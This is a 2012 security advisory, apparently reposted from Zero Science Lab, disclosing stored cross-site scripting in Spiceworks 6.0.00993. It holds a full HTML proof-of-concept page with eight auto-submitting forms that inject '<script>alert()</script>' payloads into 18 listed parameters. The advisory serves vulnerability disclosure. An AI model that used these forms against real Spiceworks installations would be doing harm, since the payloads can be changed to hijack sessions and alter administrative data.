Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities

2012.09.17
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

<!-- Title: Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities Vendor: Spiceworks Inc. Product web page: http://www.spiceworks.com Affected version: 6.0.00993 and 6.0.00966 Summary: The Spiceworks IT Desktop delivers nearly everything you need to simplify your IT job. Available in a variety of languages, Spiceworks' single, easy-to-use interface combines Network Inventory, Help Desk, Mapping, Reporting, Monitoring and Troubleshooting. And, it connects you with other IT pros to share ideas, solve problems and decide what additional features you need in Spiceworks. Desc: Spiceworks suffers from multiple stored cross-site scripting vulnerabilities. The issues are triggered when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. List of parameters and modules that are affected: -------------------------------------------------------------------------------------------------------------- # * Parameter * * Module / Component * -------------------------------------------------------------------------------------------------------------- 1. agreement[account] ...................................... agreements 2. article[new_references][][url] .......................... xbb/knowledge_base 3. asset[device_type] ...................................... asset 4. asset[mac_address] ...................................... asset 5. asset[name] ............................................. asset 6. category[name] .......................................... settings/categories 7. international[global_date_abbrev_format] ................ settings/advanced/save_international_settings 8. international[global_date_format] ....................... settings/advanced/save_international_settings 9. international[global_date_time_format] .................. settings/advanced/save_international_settings 10. international[global_date_simple_format] ................ settings/advanced/save_international_settings 11. international[global_time_format] ....................... settings/advanced/save_international_settings 12. navigation[name] ........................................ my_tools 13. purchase[name] .......................................... purchases 14. purchase[price] ......................................... purchases 15. purchase[purchased_for_name] ............................ purchases 16. report[description] ..................................... reports/create 17. vendor[name] ............................................ agreements 18. vendor[website] ......................................... agreements -------------------------------------------------------------------------------------------------------------- Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.2.19 Ruby 1.9.1 SQLite 3.7.5 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Vendor status: [26.08.2012] Vulnerabilities discovered. [29.08.2012] Contact with the vendor. [29.08.2012] Vendor responds asking more details. [29.08.2012] Sent detailed information to the vendor. [29.08.2012] Vendor confirms receiving files. [03.09.2012] Asked vendor for confirmation. [04.09.2012] Vendor awaits status from submited ticket to development team. [11.09.2012] Asked vendor for status update. [11.09.2012] Vendor says that the development team is still investigating. [13.09.2012] Informed the vendor that the advisory will be published on 17th of September. [14.09.2012] Vendor replies stating that a developer will contact us. [17.09.2012] No contact from the development team. [17.09.2012] Public security advisory released. Advisory ID: ZSL-2012-5107 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5107.php Spiceworks: http://community.spiceworks.com/help#Current 26.08.2012 --> <html> <head> <title>Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities</title> <link rel="Shortcut Icon" href="http://zeroscience.mk/favicon.ico" type="image/x-icon"> </head> <body bgcolor="#1C1C1C" leftmargin="100"><br /> <img style="margin-left:10" src="http://zeroscience.mk/images/zsl-logo1.png" hight="20%" width="20%"> <script type="text/javascript"> var disclaimer = "This document and all the information it contains are provided \"as is\",\n" + "for educational purposes only, without warranty of any kind, whether\n" + "express or implied.\n\n" + "The author reserves the right not to be responsible for the topicality,\n" + "correctness, completeness or quality of the information provided in\n" + "this document. Liability claims regarding damage caused by the use of\n" + "any information provided, including any kind of information which is\n" + "incomplete or incorrect, will therefore be rejected."; var answ = confirm(disclaimer); if (answ == true){}else{window.location.href = "http://www.spiceworks.com";} function xss1(){document.forms["xss1"].submit();} function xss2(){document.forms["xss2"].submit();} function xss3(){document.forms["xss3"].submit();} function xss4(){document.forms["xss4"].submit();} function xss5(){document.forms["xss5"].submit();} function xss6(){document.forms["xss6"].submit();} function xss7(){document.forms["xss7"].submit();} function xss8(){document.forms["xss8"].submit();} </script> <center><h2 style="position:absolute;left:525;top:32;background-color:#BAB8B9;width:200"> HTML Response:</h2></center> <iframe src="http://localhost/login" width="1100" height="700" name="ZSL_iframe" align="top" frameborder="1" style="position:absolute;left:525; top:80;background-color:#cecece;border-color:#FFFFFF"></iframe> <font color="#FF6633" size="2" style="position:absolute;top:795px;right:55px">v1.6</font> <form action="http://localhost/agreements" enctype="application/x-www-form-urlencoded" method="POST" id="xss1" target="ZSL_iframe"> <input type="hidden" name="_pickaxe" value="%E2%B8%95" /> <input type="hidden" name="agreement[account]" value='"><script>alert(1);</script>' /> <input type="hidden" name="agreement[account_manager]" value="" /> <input type="hidden" name="agreement[agreement_type]" value="other-vendor" /> <input type="hidden" name="agreement[cost]" value="1" /> <input type="hidden" name="agreement[cost_unit]" value="per month" /> <input type="hidden" name="agreement[email]" value="" /> <input type="hidden" name="agreement[phone]" value="" /> <input type="hidden" name="agreement[service_end]" value="1" /> <input type="hidden" name="agreement[service_start]" value="" /> <input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" /> <input type="hidden" name="from" value="sp_toolbar" /> <input type="hidden" name="purchase_id" value="" /> <input type="hidden" name="vendor[id]" value="" /> <input type="hidden" name="vendor[name]" value='"><script>alert(2);</script>' /> <input type="hidden" name="vendor[website]" value='"><script>alert(3);</script>' /> </form> <!-- (New Article in Knowledge Base) --> <form action="http://localhost/xbb/knowledge_base?uuid=f467c1ba-9b18-4325-b441-de9b4f42f555&ehash=edad6981ec082863da194e104a9257ff" enctype="application/x-www-form-urlencoded" method="POST" id="xss2" target="ZSL_iframe"> <input type="hidden" name="article[end_content]" value="" /> <input type="hidden" name="article[new_references][][temp_id]" value="c33" /> <input type="hidden" name="article[new_references][][title]" value="ZSL" /> <input type="hidden" name="article[new_references][][url]" value='"><script>alert(4);</script>' /> <input type="hidden" name="article[new_steps][][content]" value="1" /> <input type="hidden" name="article[new_steps][][position]" value="1" /> <input type="hidden" name="article[new_steps][][temp_id]" value="c30" /> <input type="hidden" name="article[new_steps][][title]" value="1" /> <input type="hidden" name="article[shared_with]" value="0" /> <input type="hidden" name="article[start_content]" value="1" /> <input type="hidden" name="article[title]" value="1" /> <input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" /> </form> <form action="http://localhost/asset" enctype="application/x-www-form-urlencoded" method="POST" id="xss3" target="ZSL_iframe"> <input type="hidden" name="_pickaxe" value="%E2%B8%95" /> <input type="hidden" name="active_tab" value="general" /> <input type="hidden" name="asset[c_purchase_date]" value="" /> <input type="hidden" name="asset[c_purchase_price]" value="12" /> <input type="hidden" name="asset[device_type]" value='"><script>alert(5);</script>' /> <input type="hidden" name="asset[mac_address]" value='"><script>alert(6);</script>' /> <input type="hidden" name="asset[manually_added]" value="true" /> <input type="hidden" name="asset[name]" value='"><script>alert(7);</script>' /> <input type="hidden" name="asset[serial_number]" value="111" /> <input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" /> <input type="hidden" name="category_from" value="8" /> <input type="hidden" name="custom_reclassify" value="" /> <input type="hidden" name="from" value="dashboard" /> <input type="hidden" name="mode" value="" /> <input type="hidden" name="shown" value="true" /> </form> <form action="http://localhost/settings/categories" enctype="application/x-www-form-urlencoded" method="POST" id="xss4" target="ZSL_iframe"> <input type="hidden" name="_method" value="put" /> <input type="hidden" name="_pickaxe" value="%E2%B8%95" /> <input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" /> <input type="hidden" name="category[icon]" value="user_defined" /> <input type="hidden" name="category[id]" value="39" /> <input type="hidden" name="category[name]" value='"><script>alert(8);</script>' /> <input type="hidden" name="category[rule_set_attributes][and_or]" value="OR" /> <input type="hidden" name="category[rule_set_attributes][klass]" value="Device" /> <input type="hidden" name="icon" value="" /> </form> <form action="http://localhost/settings/advanced/save_international_settings" enctype="application/x-www-form-urlencoded" method="POST" id="xss5" target="ZSL_iframe"> <input type="hidden" name="_pickaxe" value="%E2%B8%95" /> <input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" /> <input type="hidden" name="btn" value="save" /> <input type="hidden" name="international[currency]" value="USD" /> <input type="hidden" name="international[global_date_abbrev_format]" value='"><script>alert(9);</script>' /> <input type="hidden" name="international[global_date_format]" value='"><script>alert(10);</script>' /> <input type="hidden" name="international[global_date_simple_format]" value='"><script>alert(11);</script>' /> <input type="hidden" name="international[global_date_time_format]" value='"><script>alert(12);</script>' /> <input type="hidden" name="international[global_time_format]" value='"><script>alert(13);</script>' /> <input type="hidden" name="international[locale]" value="en" /> </form> <form action="http://localhost/my_tools" enctype="application/x-www-form-urlencoded" method="POST" id="xss6" target="ZSL_iframe"> <input type="hidden" name="_pickaxe" value="%E2%B8%95" /> <input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" /> <input type="hidden" name="navigation[name]" value='"><script>alert(14);</script>' /> <input type="hidden" name="navigation[url]" value="1" /> </form> <form action="http://localhost/purchases" enctype="application/x-www-form-urlencoded" method="POST" id="xss7" target="ZSL_iframe"> <input type="hidden" name="_pickaxe" value="%E2%B8%95" /> <input type="hidden" name="active_tab" value="undefined" /> <input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" /> <input type="hidden" name="purchase[agreement_id]" value="" /> <input type="hidden" name="purchase[agreement_id]" value="" /> <input type="hidden" name="purchase[charge_to]" value="General" /> <input type="hidden" name="purchase[name]" value='"><script>alert(15);</script>' /> <input type="hidden" name="purchase[notes]" value="" /> <input type="hidden" name="purchase[part_number]" value="" /> <input type="hidden" name="purchase[price]" value='"><script>alert(16);</script>' /> <input type="hidden" name="purchase[purchase_order]" value="" /> <input type="hidden" name="purchase[purchased_for_id]" value="" /> <input type="hidden" name="purchase[purchased_for_name]" value='"><script>alert(17);</script>' /> <input type="hidden" name="purchase[purchased_for_type]" value="" /> <input type="hidden" name="purchase[quantity]" value="1" /> <input type="hidden" name="purchase_source" value="purchases_page" /> <input type="hidden" name="viewing_asset_id" value="undefined" /> <input type="hidden" name="viewing_asset_type" value="undefined" /> </form> <form action="http://localhost/reports/create" enctype="application/x-www-form-urlencoded" method="POST" id="xss8" target="ZSL_iframe"> <input type="hidden" name="_pickaxe" value="%E2%B8%95" /> <input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" /> <input type="hidden" name="btn" value="" /> <input type="hidden" name="form_action" value="create" /> <input type="hidden" name="report[and_or]" value="AND" /> <input type="hidden" name="report[class_type]" value="DeviceReport" /> <input type="hidden" name="report[description]" value='"><script>alert(18);</script>' /> <input type="hidden" name="report[id]" value="" /> <input type="hidden" name="report[name]" value="Zero Science Lab" /> <input type="hidden" name="report[public]" value="0" /> <input type="hidden" name="report[public]" value="1" /> <input type="hidden" name="report[sql]" value="" /> <input type="hidden" name="report_field[][field_name]" value="name" /> <input type="hidden" name="report_field[][field_name]" value="primary_owner_name" /> <input type="hidden" name="report_field[][field_name]" value="ip_address" /> <input type="hidden" name="report_field[][field_name]" value="operating_system" /> <input type="hidden" name="report_field[][field_name]" value="serial_number" /> <input type="hidden" name="report_field[][field_name]" value="manufacturer" /> <input type="hidden" name="report_field[][field_name]" value="device_type" /> <input type="hidden" name="report_field_add" value="" /> <input type="hidden" name="report_fields_selected[]" value="name" /> <input type="hidden" name="report_fields_selected[]" value="primary_owner_name" /> <input type="hidden" name="report_fields_selected[]" value="ip_address" /> <input type="hidden" name="report_fields_selected[]" value="operating_system" /> <input type="hidden" name="report_fields_selected[]" value="serial_number" /> <input type="hidden" name="report_fields_selected[]" value="manufacturer" /> <input type="hidden" name="report_fields_selected[]" value="device_type" /> <input type="hidden" name="report_filter[1346077855344195][key]" value="name" /> <input type="hidden" name="report_filter[1346077855344195][operator]" value="contains" /> <input type="hidden" name="report_filter[1346077855344195][value]" value="Begin typing for options..." /> <input type="hidden" name="run" value="1" /> </form> <font color="#FF6633" style="margin-left:20">==================================<br /><input type="button" style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330" value="&nbsp;&nbsp;1. agreement[account]&#13;&#10;&nbsp;&nbsp;2. vendor[name]&#13; &nbsp;&nbsp;3. vendor[website]" onClick="xss1()" /> <br /> <font color="#FF6633" style="margin-left:20">==================================<br /><input type="button" style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330" value="&nbsp;&nbsp;4. article[new_references][][url]" onClick="xss2()" /> <br /> <font color="#FF6633" style="margin-left:20">==================================<br /><input type="button" style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330" value="&nbsp;&nbsp;5. asset[device_type]&#13;&#10;&nbsp;&nbsp;6. asset[mac_address]&#13; &nbsp;&nbsp;7. asset[name]" onClick="xss3()" /> <br /> <font color="#FF6633" style="margin-left:20">==================================<br /><input type="button" style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330" value="&nbsp;&nbsp;8. category[name]" onClick="xss4()" /> <br /> <font color="#FF6633" style="margin-left:20">==================================<br /><input type="button" style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330" value="&nbsp;&nbsp;9. international[global_date_abbrev_format]&#13;&#10;10. international[global_date_format]&#13; 11. international[global_date_time_format]&#13;&#10;12. international[global_date_simple_format]&#13; 13. international[global_time_format]" onClick="xss5()" /> <br /> <font color="#FF6633" style="margin-left:20">==================================<br /><input type="button" style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330" value="14. navigation[name]" onClick="xss6()" /> <br /> <font color="#FF6633" style="margin-left:20">==================================<br /><input type="button" style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330" value="15. purchase[name]&#13;&#10;16. purchase[price]&#13;&#10;17. purchase[purchased_for_name]" onClick="xss7()" /> <br /> <font color="#FF6633" style="margin-left:20">==================================<br /><input type="button" style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330" value="18. report[description]" onClick="xss8()" /> <br /><font color="#FF6633" style="margin-left:20">==================================<br /> <br /><br /><br /> <font color="#FF6633" size="1" style="margin-left:20">2012 &copy; <a href="http://www.zeroscience.mk" target="_blank" style="text-decoration:none"><font color="#FF6633">Zero Science Lab</font></a> </body></html>

References:

http://www.zeroscience.mk
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5107.php


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top